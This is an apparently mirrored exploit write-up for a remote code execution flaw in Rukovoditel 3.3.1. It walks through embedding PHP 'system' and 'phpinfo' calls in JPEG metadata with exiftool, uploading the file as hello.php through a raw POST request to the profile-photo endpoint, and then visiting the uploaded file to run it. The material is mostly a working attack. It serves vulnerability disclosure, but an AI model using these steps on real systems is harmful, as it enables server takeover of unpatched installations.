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## https://sploitus.com/exploit?id=PACKETSTORM:171768
Exploit Title: Rukovoditel 3.3.1 - Remote Code Execution (RCE)  
Version: 3.3.1  
Bugs: rce via jpeg file upload  
Technology: PHP  
Vendor URL: https://www.rukovoditel.net/  
Software Link: https://www.rukovoditel.net/download.php  
Date of found: 12-03-2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
  
  
2. Technical Details & POC  
========================================  
#First of all, we need to inject the php codes into the metadata of any jpeg file with exiftool. (for example)  
  
exiftool -overwrite_original -comment="<?php system('id'); ?>" index.jpeg  
exiftool -overwrite_original -DocumentName="<?php phpinfo(); ?>" index.jpeg  
  
#after that we need to get the base64 code of the image (i used this site)  
https://h3yy0.csb.app/  
  
  
  
#and we have to do url encoding  
  
  
#now we have to upload profile photo  
  
Poc request (I changed the file name to hello.php and and pasted our base 64 code)  
  
  
  
POST /index.php?module=users/photo&action=save&token=34GtgxfEmO HTTP/1.1  
Host: localhost  
Content-Length: 9567  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
Accept: */*  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
sec-ch-ua-platform: "Linux"  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/index.php?module=users/account  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: cookie_test=please_accept_for_session; sid=0d3esjp74uo3q3gp38r044vc9h; sidebar_closed=1  
Connection: close  
  
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#we visit the image  
  
http://localhost/uploads/users/tmp/hello.php